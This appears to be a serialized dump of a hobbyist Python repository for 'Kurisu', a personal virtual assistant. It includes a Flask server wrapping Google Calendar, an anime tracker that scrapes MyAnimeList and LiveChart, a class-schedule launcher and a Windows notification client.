[form](https://forms.gle/W6igzbXRw9yV7onc6 \"Google Form\") to give suggestions on improving/for new features.\n\n \n\n### _After Notes_\n\n \n\nConsider following me to get notified of my latest projects. Stay tuned for the exciting stuff to come..!!\n"},{"alpha_fraction":0.5566767454147339,"alphanum_fraction":0.5600403547286987,"avg_line_length":24.629310607910156,"blob_id":"c7b1dfc0a48efc13b597ab9642435ea0a3dd3350","content_id":"e57f7f14cf42406b5fa7f72ba465e731750e56f8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2973,"license_type":"no_license","max_line_length":83,"num_lines":116,"path":"/amadeus/animeTracker/animeTracker.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import pickle\nimport feedparser\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\n\n\n\n\nclass Anime:\n def __init__(self, name, posterLink, id):\n self.name = name\n self.posterLink = posterLink\n self.id = id\n\n def toJSON(self):\n return {'id' : self.id, 'name' : self.name, 'posterLink' : self.posterLink}\n\n\nclass AnimeTracker:\n def __init__(self, ANIME_DATABASE):\n self.ANIME_DATABASE = ANIME_DATABASE\n self.animeRepo = pickle.load(open(ANIME_DATABASE, 'rb'))\n self.feed_url = 'https://www.livechart.me/feeds/episodes'\n self.imageBaseLink = 'https://cdn.myanimelist.net/images/anime/'\n self.baseLink = 'https://myanimelist.net/anime.php?cat=anime&q='\n\n \n def allTracking(self):\n return [anime.toJSON() for anime in self.animeRepo]\n\n\n def new(self, id, name, posterLink):\n newEntry = Anime(id, name, posterLink)\n self.animeRepo.append(newEntry)\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\n\n\n def remove(self, id):\n for anime in self.animeRepo:\n if anime.id == id:\n self.animeRepo.remove(anime)\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\n break\n \n\n def track(self):\n feed = feedparser.parse(self.feed_url)\n recentAired = []\n\n for entry in feed.entries:\n for anime in self.animeRepo:\n if anime.name in entry.title:\n recentAired.append(anime.toJSON())\n\n return recentAired\n \n\n def search(self, searchQuery):\n searchQuery = searchQuery.replace(' ', '+')\n searchQueryLink = self.baseLink + searchQuery\n\n query = requests.get(searchQueryLink)\n\n page = BeautifulSoup(query.text, 'lxml')\n\n table = page.find_all('table')[-1]\n\n queryResult = []\n \n try:\n searchResults = table.find_all('tr')[1:] \n \n if len(searchResults) > 11:\n searchResults = searchResults[:10] \n\n for searchResult in searchResults:\n name = searchResult.find('strong').text\n try:\n posterLink = searchResult.find('img')['data-srcset']\n linkParts = posterLink.split('anime/')\n finalLink = self.imageBaseLink + linkParts[1].split('?')[0]\n except:\n posterLink = 'Not Available' \n\n queryResult.append({'name':name,'posterLink':finalLink})\n\n except:\n return []\n\n\n return queryResult\n\n\n\n\n\n\n\n \n\n \n \n\nif __name__ == '__main__':\n tracker = AnimeTracker()\n # tracker.new('Mairimashita! Iruma-kun 2nd Season', 'meh')\n # print(tracker.track())\n # print(type(tracker.track()))\n\n # while(True):\n query = 'bokutachi'\n print(tracker.search(query))\n\n\n # print(tracker.animeRepo)\n"},{"alpha_fraction":0.5225015878677368,"alphanum_fraction":0.5246143937110901,"avg_line_length":30.013158798217773,"blob_id":"4bdd949f8655c6e30ff5235f974a68a513de6a17","content_id":"7a3533257b58e8625f329caef90de9d0133116bf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4733,"license_type":"no_license","max_line_length":103,"num_lines":152,"path":"/amadeus/scheduleManager/scheduleManager.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"from googleapiclient.discovery import build\nimport pickle\nfrom datetime import datetime, timedelta\n\n\nclass ScheduleManager:\n\n def __init__(self, token):\n self.credentials = pickle.load(open(token, 'rb')) #Google credentials\n self.service = build('calendar', 'v3', credentials = self.credentials)\n\n\n def retrieveCalendar(self):\n self.calendar = self.service.calendars().get(calendarId='primary').execute()\n return self.calendar\n\n\n def retrieveEvents(self):\n self.events = []\n page_token = None\n\n while True:\n events = self.service.events().list(calendarId='primary', pageToken=page_token).execute()\n for event in events['items']:\n self.events.append(event)\n page_token = events.get('nextPageToken')\n if not page_token:\n break\n\n\n def retrieveSimpleEvents(self, criterion):\n\n if criterion == None:\n criterion = 'today'\n\n\n self.retrieveEvents()\n\n current = datetime.today()\n today = datetime(current.year, current.month, current.day)\n\n nextday = datetime.now()+timedelta(1)\n tomorrow = datetime(nextday.year, nextday.month, nextday.day)\n\n work = []\n\n def addToWork(event):\n simplifiedEvent = {}\n\n try:\n simplifiedEvent['id'] = event['id']\n except:\n pass\n\n try:\n simplifiedEvent['summary'] = event['summary']\n except:\n pass\n\n try:\n simplifiedEvent['description'] = event['description']\n except:\n pass\n\n try:\n simplifiedEvent['start'] = event['start']\n except:\n pass\n\n try:\n simplifiedEvent['end'] = event['end']\n except:\n pass\n\n return simplifiedEvent\n\n if criterion == 'today':\n for event in self.events:\n try:\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n except KeyError:\n try:\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n\n if(eventTime >= today and eventTime < tomorrow):\n work.append(addToWork(event))\n\n elif criterion == 'upcoming':\n for event in self.events:\n try:\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n except KeyError:\n try:\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n if(eventTime >= today):\n work.append(addToWork(event))\n\n else:\n for event in self.events:\n work.append(addToWork(event))\n\n return work\n\n\n def addEvent(self, summary, description, eventStartTime, eventEndTime, utcoffset):\n\n # parsedStartDateTime = eventStartTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\n # parsedEndDateTime = eventEndTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\n parsedStartDateTime = eventStartTime + utcoffset\n parsedEndDateTime = eventEndTime + utcoffset\n\n newEvent = {\n 'summary': summary,\n 'description': description,\n 'start': {\n 'dateTime': parsedStartDateTime,\n },\n 'end': {\n 'dateTime': parsedEndDateTime,\n }, \n }\n\n event = self.service.events().insert(calendarId='primary', body=newEvent).execute()\n\n\n def deleteEvent(self, eventID):\n self.service.events().delete(calendarId='primary', eventId=eventID).execute()\n\n\nif __name__ == '__main__':\n token = '../resources/token.pkl'\n manager = ScheduleManager(token)\n events = manager.retrieveSimpleEvents(criterion='all')\n for event in events:\n print(event)\n print(len(events))\n\n # current = datetime.today()\n # today = datetime(current.year, current.month, current.day)\n\n # nextday = datetime.now()+timedelta(1)\n # tomorrow = datetime(nextday.year, nextday.month, nextday.day)\n\n # manager.addEvent('test1', 'this is a test', current, tomorrow, '+05:30')\n\n\n\n \n \n\n\n\n"},{"alpha_fraction":0.5275519490242004,"alphanum_fraction":0.5338753461837769,"avg_line_length":32.32307815551758,"blob_id":"13969045f4d096d1d95f0f46e6312543c5bd84d1","content_id":"bf41b609701615eb095020686f64baa20b118c56","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2216,"license_type":"no_license","max_line_length":109,"num_lines":65,"path":"/kurisu/Notification Manager/scheduleManager/scheduleManager.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import requests\nfrom datetime import datetime\nimport time\n\ndef getEvents(URL):\n print('Getting events!')\n BASE_URL = URL + 'schedules'\n response = requests.post(BASE_URL, data = {'criterion':'today'})\n if response.status_code == 200:\n return response.json()['events']\n\ndef ScheduleManager(toast, URL):\n\n REFRESH_TIME = 5 * 60 # min * sec refresh time in seconds\n\n checkedTime = datetime.now()\n events = getEvents(URL)\n\n print('Schedule Manager ready!')\n\n while True:\n currentTime = datetime.now()\n\n if currentTime.hour == 0 and currentTime.min <= 6:\n events = getEvents(URL)\n\n timePassed = currentTime - checkedTime\n if timePassed.seconds >= REFRESH_TIME:\n events = getEvents(URL)\n checkedTime = datetime.now()\n\n notifiedEvents = []\n notificationMessage = 'Event reminders : \\n'\n newNotifications = False\n\n if events == None:\n events = []\n\n for event in events:\n try:\n eventStartTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n eventEndTime = datetime.strptime(event['end']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\n\n except KeyError:\n try:\n eventStartTime = datetime.strptime(event['start']['date'], '%Y-%m-%d') \n eventEndTime = datetime.strptime(event['end']['date'], '%Y-%m-%d')\n except Exception as error:\n print(error)\n except Exception as error:\n print(error)\n continue\n \n if datetime.now() >= eventStartTime and datetime.now() <= eventEndTime:\n if event['summary'] not in notifiedEvents:\n newNotifications = True\n notifiedEvents.append(event['summary'])\n notificationMessage += '• ' + event['summary'] + '\\n'\n\n \n if newNotifications:\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\n newNotifications = False\n\n time.sleep(59)\n\n\n\n\n\n\n\n \n \n\n\n\n \n\n\n\n\n\n\n\n"},{"alpha_fraction":0.6395701169967651,"alphanum_fraction":0.6515288949012756,"avg_line_length":30.150943756103516,"blob_id":"509e88ca514a77c0f68bfb5bf05c78c66f073c40","content_id":"b27fec8c48236f0c85fa51dcc2629539876fd6f8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6606,"license_type":"no_license","max_line_length":192,"num_lines":212,"path":"/amadeus/amadeus.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"from flask import Flask, request\nfrom flask_restful import Api, Resource, reqparse, abort\nfrom flask_cors import CORS\n\n\n\n#Setup\n\napp = Flask(__name__)\nCORS(app)\napi = Api(app)\n\n\n#Modules\n\n## TO REMOVE ANY MODULE, COMMENT/REMOVE THE CORRESPONDING SECTION (eg. To remove the anime tracker module, comment out or delete eveything between the '# Anime Tracker' and '# Class Schedule')\n\n\n# Schedule Manager\n\nfrom scheduleManager.scheduleManager import ScheduleManager\nGOOGLE_AUTH_TOKEN = 'resources/token.pkl'\nschedule_manager = ScheduleManager(GOOGLE_AUTH_TOKEN)\n\n\nscheduleManagerArgs = reqparse.RequestParser()\nscheduleManagerArgs.add_argument('criterion', type = str, help = 'Crtierion not sent')\nscheduleManagerArgs.add_argument('summary', type = str, help = 'summary not sent')\nscheduleManagerArgs.add_argument('description', type = str, help = 'description not sent')\nscheduleManagerArgs.add_argument('eventStartTime', type = str, help = 'eventStartTime not sent')\nscheduleManagerArgs.add_argument('eventEndTime', type = str, help = 'eventEndTime not sent')\nscheduleManagerArgs.add_argument('utcoffset', type = str, help = 'utcoffset not sent')\nscheduleManagerArgs.add_argument('id', type = str, help = 'Event id not sent')\n\n\nclass ScheduleManagerAPI(Resource):\n\n #Commented api requests are working but not implemented. To be implemented once an authorization system has been setup\n\n def get(self): #Receieve calendar\n return {'calendar': schedule_manager.retrieveCalendar()}, 200\n \n\n def post(self): #Recieve events\n args = scheduleManagerArgs.parse_args()\n listOfEvents = schedule_manager.retrieveSimpleEvents(criterion = args.get('criterion'))\n return {'events' : listOfEvents}, 200\n\n def options(self):\n print('Options handled!')\n return 200\n\n def put(self):\n args = scheduleManagerArgs.parse_args()\n\n if args.get('summary') == None or args.get('description') == None or args.get('eventStartTime') == None or args.get('eventEndTime') == None or args.get('utcoffset') == None:\n abort(422, 'Not enough data!')\n\n try:\n schedule_manager.addEvent(args.get('summary'), args.get('description'), args.get('eventStartTime'), args.get('eventEndTime'), args.get('utcoffset'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n \n return 200\n\n def delete(self):\n args = scheduleManagerArgs.parse_args()\n\n if args.get('id') == None:\n abort(422, 'Event id not provided!')\n\n try:\n schedule_manager.deleteEvent(args.get('id'))\n except:\n abort(409, message = 'Error in given data!') \n\n return 200\n \n\n \n\napi.add_resource(ScheduleManagerAPI, '/schedules')\n\n\n\n# Anime Tracker\n\nfrom animeTracker.animeTracker import AnimeTracker, Anime\nANIME_DATABASE = 'resources/animeRepo.pkl'\nanime_tracker = AnimeTracker(ANIME_DATABASE)\n\n\nanimeTrackerArgs = reqparse.RequestParser()\nanimeTrackerArgs.add_argument('id', type = str, help = 'No ID sent!')\nanimeTrackerArgs.add_argument('name', type = str, help = 'No name sent!')\nanimeTrackerArgs.add_argument('posterLink', type = str, help = 'No poster link sent!')\nanimeTrackerArgs.add_argument('searchQuery', type = str, help = 'Search query not sent!')\n\n\n\nclass AnimeTrackerAPI(Resource):\n\n def get(self): #Recently aired episodes\n try:\n if request.headers.get('criterion') == 'recentAired':\n return {'recentAired': anime_tracker.track()}, 200\n else:\n return {'tracking': anime_tracker.allTracking()}, 200\n except Exception as e:\n print(e)\n abort(404, message = 'Error retrieving recently aired! Contact developer!')\n\n def post(self): #New additions\n args = animeTrackerArgs.parse_args()\n \n if args.get('name') == None or args.get('posterLink') == None or args.get('id') == None:\n abort(404, 'Not enough information! Please send id, name and posterlink!')\n\n try:\n anime_tracker.new(args.get('id'), args.get('name'), args.get('posterLink'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return 200\n\n def delete(self): #delete tracking anime\n args = animeTrackerArgs.parse_args()\n \n if args.get('id') == None:\n abort(404, 'Not enough information! Please send id!')\n \n try:\n anime_tracker.remove(args.get('id'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return 200\n\n def put(self):\n args = animeTrackerArgs.parse_args()\n \n if args.get('searchQuery') == None:\n abort(404, 'Not enough information! Please send search query!')\n \n try:\n queryResult = anime_tracker.search(args.get('searchQuery'))\n except Exception as e:\n print(e)\n abort(409, message = 'Error in given data!')\n\n return {'queryResult':queryResult}, 200\n\n\n\napi.add_resource(AnimeTrackerAPI, '/animetracker')\n\n \n\n\n# Class Schedule\n\nfrom classSchedule.classSchedule import ClassSchedule\nSCHEDULE_DATABASE = 'resources/schedule.pkl'\nclass_schedule = ClassSchedule(SCHEDULE_DATABASE)\n\n\nclassScheduleArgs = reqparse.RequestParser() \nclassScheduleArgs.add_argument('day', type = str, help = 'Day not sent!')\nclassScheduleArgs.add_argument('subject', type = str, help = 'Subject not sent!')\nclassScheduleArgs.add_argument('startTime', type = str, help = 'Start time not sent!')\nclassScheduleArgs.add_argument('endTime', type = str, help = 'End time not sent!')\nclassScheduleArgs.add_argument('link', type = str, help = 'Link not sent!')\n\n\nclass ClassScheduleAPI(Resource):\n def get(self):\n return class_schedule.retrieveTimetable(), 200\n\n def post(self):\n args = classScheduleArgs.parse_args()\n class_schedule.addClass(args['day'], args['subject'], args['startTime'], args['endTime'], args['link'])\n return 200\n\n def put(self):\n args = classScheduleArgs.parse_args()\n return { args['day'] : class_schedule.retrieveSchedule(args['day'])}, 200\n\n def delete(self):\n args = classScheduleArgs.parse_args()\n class_schedule.deleteClass(args['day'], args['subject'], args['startTime'])\n return 200\n\n\n\napi.add_resource(ClassScheduleAPI, '/classSchedules')\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug = True, host = '0.0.0.0')\n\n\n"},{"alpha_fraction":0.6085663437843323,"alphanum_fraction":0.6085663437843323,"avg_line_length":35.5217399597168,"blob_id":"a95bbf70ce43e651a3f3913ee855af2ca4af3d51","content_id":"2ce80b796addd6acc00716ce12714954616c475e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1681,"license_type":"no_license","max_line_length":145,"num_lines":46,"path":"/amadeus/classSchedule/classSchedule.py","repo_name":"sndev28/Kurisu-Virtual-Assistant","src_encoding":"UTF-8","text":"import pickle\nfrom datetime import time\n\n\nclass ClassSchedule:\n def __init__(self,SCHEDULE_DATABASE):\n self.SCHEDULE_DATABASE = SCHEDULE_DATABASE\n self.timetable = pickle.load(open(SCHEDULE_DATABASE, 'rb'))\n\n\n def addClass(self, day, subject, startTime, endTime, link):\n startHour, startMinute = startTime.split(':')\n startTimeObject = time(hour = int(startHour), minute = int(startMinute))\n flag = False\n for index, item in enumerate(self.timetable[day]):\n itemStartHour, itemStartMinute = item['startTime'].split(':')\n itemTimeObject = time(hour = int(itemStartHour), minute = int(itemStartMinute))\n\n if itemTimeObject > startTimeObject:\n self.timetable[day].insert(index, {'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\n flag = True\n break\n\n if flag == False:\n self.timetable[day].append({'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\n\n \n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\n\n\n def deleteClass(self, day, subject, startTime):\n flag = False\n for item in self.timetable[day]:\n if item['subject'] == subject and item['startTime'] == startTime:\n self.timetable[day].remove(item)\n flag = True\n\n if flag == True:\n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\n \n\n def retrieveSchedule(self, day):\n return self.timetable[day]\n\n def retrieveTimetable(self):\n return self.timetable\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5788876414299011,\n \"alphanum_fraction\": 0.5913734436035156,\n \"avg_line_length\": 25.454545974731445,\n \"blob_id\": \"815cd8d322e0fbff377c92c7f50b49050a690068\",\n \"content_id\": \"3ec34ed41d9b712cebb128857573bf198167de1d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 883,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 33,\n \"path\": \"/kurisu/Notification Manager/animeTracker/animeTracker.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport time\\n\\n\\ndef AnimeTracker(toast, URL):\\n \\n REFRESH_TIME = 12 * 60 * 60 # hours * min * secs // refresh time in seconds\\n\\n BASE_URL = URL + 'animetracker'\\n\\n print('Anime tracker ready!')\\n\\n while True:\\n response = requests.get(BASE_URL, headers = {'criterion': 'recentAired'})\\n\\n if response.status_code != 200:\\n print('Error in anime tracker! Exited!!')\\n break\\n\\n listOfRecentAired = response.json().get('recentAired')\\n\\n if listOfRecentAired != None and listOfRecentAired != []:\\n notificationMessage = 'Recently aired : \\\\n'\\n for anime in listOfRecentAired:\\n notificationMessage += '• ' + anime.get('name') + '\\\\n'\\n\\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\\n\\n\\n time.sleep(REFRESH_TIME)\\n\\n \\n return\\n\\n\\n \\n\\n\"\n },\n {\n \"alpha_fraction\": 0.49481865763664246,\n \"alphanum_fraction\": 0.4993523359298706,\n \"avg_line_length\": 25.35344886779785,\n \"blob_id\": \"cd43cea5f1ff18d720dc76d253d0c69b8ed46de4\",\n \"content_id\": \"a469aa425bd2e1a1415fc55a7c1cbb9f1bf9b74e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3088,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 116,\n \"path\": \"/kurisu/Notification Manager/classScheduler/classScheduler.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nfrom datetime import datetime\\nimport webbrowser as wb\\nimport tkinter\\nfrom tkinter import messagebox\\nimport psutil\\nimport time\\n\\nweekdays = {\\n 0 : 'monday',\\n 1 : 'tuesday',\\n 2 : 'wednesday',\\n 3 : 'thursday',\\n 4 : 'friday',\\n 5 : 'saturday',\\n 6 : 'sunday'\\n}\\n\\ndef getSchedule(day, URL):\\n print('Getting schedules for the day!')\\n BASE_URL = URL + 'classSchedules'\\n response = requests.put(BASE_URL, data = {'day': day})\\n\\n return response.json()[day]\\n\\ndef killZoom():\\n for proc in psutil.process_iter():\\n if 'Zoom' in proc.name():\\n proc.kill()\\n\\n\\ndef ClassScheduler(URL, autoMode = False):\\n\\n parent = tkinter.Tk()\\n parent.overrideredirect(1)\\n parent.withdraw()\\n \\n REFRESH_TIME = 10 * 60 # min * secs // refresh time in seconds\\n\\n classInProgress = None\\n previousCheckTime = datetime.now()\\n\\n day = weekdays[int(datetime.now().weekday())]\\n\\n schedules = getSchedule(day, URL)\\n\\n\\n while True:\\n day = weekdays[int(datetime.now().weekday())]\\n\\n currentTime = datetime.now()\\n\\n if (currentTime - previousCheckTime).seconds >= REFRESH_TIME:\\n previousCheckTime = currentTime\\n schedules = getSchedule(day, URL)\\n\\n\\n if classInProgress != None:\\n\\n endHour, endMin = classInProgress['endTime'].split(':')\\n\\n endTime = datetime(\\n year = currentTime.year,\\n month = currentTime.month,\\n day = currentTime.day,\\n hour = int(endHour),\\n minute = int(endMin)\\n ) \\n\\n if currentTime > endTime:\\n if autoMode == False:\\n response = messagebox.askokcancel('Kurisu', 'Do you want to close the current class?', parent=parent)\\n if response == True:\\n killZoom()\\n \\n else:\\n killZoom()\\n\\n classInProgress = None\\n\\n\\n \\n\\n for _class in schedules:\\n startHour, startMin = _class['startTime'].split(':')\\n endHour, endMin = _class['endTime'].split(':')\\n\\n startTime = datetime(\\n year = currentTime.year,\\n month = currentTime.month,\\n day = currentTime.day,\\n hour = int(startHour),\\n minute = int(startMin)\\n )\\n\\n endTime = datetime(\\n year = currentTime.year,\\n month = currentTime.month,\\n day = currentTime.day,\\n hour = int(endHour),\\n minute = int(endMin)\\n )\\n \\n \\n\\n if currentTime >= startTime and currentTime < endTime:\\n if classInProgress != _class:\\n classInProgress = _class\\n if classInProgress != None:\\n killZoom()\\n\\n wb.open(_class['link']) \\n break\\n \\n\\n time.sleep(60)\\n \\n \\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6689922213554382,\n \"alphanum_fraction\": 0.6837209463119507,\n \"avg_line_length\": 26.717391967773438,\n \"blob_id\": \"87eb0072a4dbd98c64eff4c17ad880c381d190ac\",\n \"content_id\": \"d5eb06970fc20577417f0d253c6c70885a19b1f4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1290,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 46,\n \"path\": \"/kurisu/Notification Manager/kurisu.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import time\\nimport threading\\nfrom win10toast import ToastNotifier\\n\\nfrom scheduleManager.scheduleManager import ScheduleManager\\nfrom animeTracker.animeTracker import AnimeTracker\\nfrom classScheduler.classScheduler import ClassScheduler\\n\\ntoast = ToastNotifier()\\n\\nURL = 'http://192.168.1.35:5000/'\\n\\n\\n\\nif __name__ == '__main__':\\n\\n\\n #Schedule Manager\\n\\n # scheduleLoop = threading.Thread(target = ScheduleManager, args = (toast, URL))\\n # scheduleLoop.setDaemon(True)\\n # scheduleLoop.start()\\n\\n #Anime Tracker\\n \\n animeLoop = threading.Thread(target = AnimeTracker, args = (toast, URL))\\n animeLoop.setDaemon(True)\\n animeLoop.start()\\n\\n #Class Scheduler\\n autoMode = input('Do you want to run class scheduler in auto mode...!? y/n')\\n if autoMode == 'n':\\n autoMode = False\\n else:\\n autoMode = True\\n classScheduleLoop = threading.Thread(target = ClassScheduler, args = (URL, autoMode))\\n classScheduleLoop.setDaemon(True)\\n classScheduleLoop.start()\\n\\n\\n # while scheduleLoop.is_alive() and animeLoop.is_alive() and classScheduleLoop.is_alive():\\n # print('Kurisu runnning!')\\n # time.sleep(60)\\n while animeLoop.is_alive() and classScheduleLoop.is_alive():\\n print('Kurisu runnning!')\\n time.sleep(60)\\n \\n\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.661044180393219,\n \"alphanum_fraction\": 0.6634538173675537,\n \"avg_line_length\": 21.23214340209961,\n \"blob_id\": \"e3891e1fecad11fdfab711f0f70694b2813161d8\",\n \"content_id\": \"77ea3d2209f316e0c6ad1386ae9d4834228792e5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 2490,\n \"license_type\": \"no_license\",\n \"max_line_length\": 314,\n \"num_lines\": 112,\n \"path\": \"/README.md\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Kurisu Virtual Assistant\\n\\nA virtual assistant to manage my schedules and random stuff. Backend written in python and UI in dart.\\n\\n \\n \\n\\n### _Features_\\n\\n \\n\\n```\\n\\nDaily schedule manager in connection with Google Calendar\\n\\nAnime tracker\\n\\nOnline class launcher\\n\\n```\\n\\n \\n \\n \\n\\n### _Agenda_\\n\\n \\n\\n```\\n\\nYoutube tracker\\n\\n\\n```\\n\\n \\n\\n### _Nomenclature_\\n\\n \\n\\n| Name | Usage |\\n| ------ | ------ |\\n| Amadeus | Server code for the assistant |\\n| Kurisu | Windows UI client app |\\n| Christina | Android client app |\\n\\n \\n\\n### _Instructions to setup_\\n\\nComing soon...\\n\\n \\n\\n### _Amadeus API Reference_\\n\\n \\n\\n**Schedule Manager**\\n\\nEndpoint : schedules \\n\\n| Method | Response |\\n| ------ | ------ |\\n| GET | Retrieves Google Calendar |\\n| POST | Retrieves events based on criteria.<br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'all', 'today', 'upcoming' |\\n| PUT | Creates new event.<br>**Data to be sent** : 'summary', 'description', 'eventStartTime', 'eventEndTime', 'utcoffset'<br>Note that **eventStartTime** and **eventEndTime** have to be sent in the format 'yyyy-mm-ddThh:mm:ss'(**Note**: The 'T' is a placeholder and is compulsory). **utcoffset** format '+hh:mm'|\\n| DELETE | Deletes an event using event ID. Data to be sent : 'id' |\\n\\n \\n<br><br>\\n**Anime Tracker**\\n\\nEndpoint : animetracker\\n\\n| Method | Response |\\n| ------ | ------ |\\n| GET | Retrieves tracking anime list based on criteria. <br>Criteria to be sent in the body under **'criterion'**.<br>**Available criterias** : 'tracking', 'recentAired'. 'recentAired' returns tracking anime aired in past 24 hours and 'tracking' returns all anime being tracked|\\n| POST | Adds anime to be tracked.<br>**Data to be sent** : 'id', 'name', 'posterLink' <br>Note that **id** is the ID of the anime returned through PUT or GET|\\n| PUT | Returns list of anime based on search query.<br>**Data to be sent** : 'searchQuery'|\\n| DELETE | Deletes an anime being tracked.<br>**Data to be sent** : 'id' <br>Note that **id** is the ID of the anime returned through PUT or GET |\\n \\n \\n \\n\\n### _License_\\n\\n \\n\\n```\\n\\nOpen to anyone to copy, modify and use as they see fit with proper credits to the coder.\\n\\n```\\n\\n \\n\\n### _Suggestions or Issues_\\n\\n \\n\\nUse issues to raise any issues and use this [form](https://forms.gle/W6igzbXRw9yV7onc6 \\\"Google Form\\\") to give suggestions on improving/for new features.\\n\\n \\n\\n### _After Notes_\\n\\n \\n\\nConsider following me to get notified of my latest projects. Stay tuned for the exciting stuff to come..!!\\n\"\n },\n {\n \"alpha_fraction\": 0.5566767454147339,\n \"alphanum_fraction\": 0.5600403547286987,\n \"avg_line_length\": 24.629310607910156,\n \"blob_id\": \"c7b1dfc0a48efc13b597ab9642435ea0a3dd3350\",\n \"content_id\": \"e57f7f14cf42406b5fa7f72ba465e731750e56f8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2973,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 116,\n \"path\": \"/amadeus/animeTracker/animeTracker.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pickle\\nimport feedparser\\nimport json\\nimport requests\\nfrom bs4 import BeautifulSoup\\n\\n\\n\\n\\nclass Anime:\\n def __init__(self, name, posterLink, id):\\n self.name = name\\n self.posterLink = posterLink\\n self.id = id\\n\\n def toJSON(self):\\n return {'id' : self.id, 'name' : self.name, 'posterLink' : self.posterLink}\\n\\n\\nclass AnimeTracker:\\n def __init__(self, ANIME_DATABASE):\\n self.ANIME_DATABASE = ANIME_DATABASE\\n self.animeRepo = pickle.load(open(ANIME_DATABASE, 'rb'))\\n self.feed_url = 'https://www.livechart.me/feeds/episodes'\\n self.imageBaseLink = 'https://cdn.myanimelist.net/images/anime/'\\n self.baseLink = 'https://myanimelist.net/anime.php?cat=anime&q='\\n\\n \\n def allTracking(self):\\n return [anime.toJSON() for anime in self.animeRepo]\\n\\n\\n def new(self, id, name, posterLink):\\n newEntry = Anime(id, name, posterLink)\\n self.animeRepo.append(newEntry)\\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\\n\\n\\n def remove(self, id):\\n for anime in self.animeRepo:\\n if anime.id == id:\\n self.animeRepo.remove(anime)\\n pickle.dump(self.animeRepo, open(self.ANIME_DATABASE, 'wb'))\\n break\\n \\n\\n def track(self):\\n feed = feedparser.parse(self.feed_url)\\n recentAired = []\\n\\n for entry in feed.entries:\\n for anime in self.animeRepo:\\n if anime.name in entry.title:\\n recentAired.append(anime.toJSON())\\n\\n return recentAired\\n \\n\\n def search(self, searchQuery):\\n searchQuery = searchQuery.replace(' ', '+')\\n searchQueryLink = self.baseLink + searchQuery\\n\\n query = requests.get(searchQueryLink)\\n\\n page = BeautifulSoup(query.text, 'lxml')\\n\\n table = page.find_all('table')[-1]\\n\\n queryResult = []\\n \\n try:\\n searchResults = table.find_all('tr')[1:] \\n \\n if len(searchResults) > 11:\\n searchResults = searchResults[:10] \\n\\n for searchResult in searchResults:\\n name = searchResult.find('strong').text\\n try:\\n posterLink = searchResult.find('img')['data-srcset']\\n linkParts = 